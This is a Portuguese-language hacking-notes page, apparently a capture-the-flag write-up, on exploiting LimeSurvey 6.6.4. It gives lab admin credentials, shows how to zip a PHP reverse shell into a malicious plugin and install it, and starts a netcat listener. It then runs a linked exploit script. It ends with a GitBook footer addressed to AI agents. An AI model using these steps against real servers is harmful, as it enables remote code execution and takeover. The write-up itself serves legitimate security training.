> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/cms/limesurvey-cms-exploitation.md).

# LimeSurvey

## Vulnerabilidade no CMS LimeSurvey

{% embed url="<https://nasirli.medium.com/limesurvey-6-6-4-rce-0a54c2c09c5e>" %}

<figure><img src="/files/2fe5b881e0819c147b1924f09a96c7b88365390e" alt=""><figcaption></figcaption></figure>

#### Acesso à área de administração

A interface de administração está disponível no seguinte URL:

`http://take-survey.heal.htb/index.php/admin`

Faça login com as credenciais de Ralph:

* **Nome de usuário** : `ralph`
* **Senha** : `147258369`

<figure><img src="/files/154ee138df7ffc5c44ddb564f1d28aa0e2ba399c" alt=""><figcaption></figcaption></figure>

A versão do LimeSurvey é **6.6.4**, que é vulnerável a **Execução Remota de Código (RCE)**.

<figure><img src="/files/a15bac455de043633dace1a4acd9507672080482" alt="" width="563"><figcaption></figcaption></figure>

### Exploração de RCE por meio de uma extensão maliciosa

{% embed url="<https://github.com/N4s1rl1/Limesurvey-6.6.4-RCE>" %}

Adapte o script de exploração ao contexto do alvo.

<figure><img src="/files/b2f0749927f257a4cc461a62f993402d23c4e6b4" alt=""><figcaption></figcaption></figure>

Primeiro, crie um arquivo compactado contendo `config.xml` e uma shell reversa em PHP:

```bash
zip -r N4s1rl1.zip config.xml revshell.php
```

<figure><img src="/files/a415e5b63d2a900b90398bb3d0c8092724349ef9" alt=""><figcaption></figcaption></figure>

Em seguida, instale o plugin malicioso pela interface web do LimeSurvey.

<figure><img src="/files/8b3cb8ef26ba2c2286e5144f024db0ab036b200b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/f88a13eb7576f63bef500e1f5b8cbef2816d4ec8" alt="" width="501"><figcaption></figcaption></figure>

Passe o mouse sobre o plugin instalado para identificar o ID do plugin.

<figure><img src="/files/f7b67e8e8cd27af7edd44ee62de71184eaec5b99" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/b12c853e2f4fde99df49012e0c42359b3a2f3945" alt="" width="563"><figcaption></figcaption></figure>

Depois de atualizar o script com esse ID, inicie um listener na porta 443:

```bash
nc -nlvp 443
```

Por fim, execute a exploração com Python:

```bash
python3 exploit.py http://take-survey.heal.htb ralph 147258369 80
```

<figure><img src="/files/58bc4b535687533ae302ef78d366ebced2d0f61c" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/cms/limesurvey-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
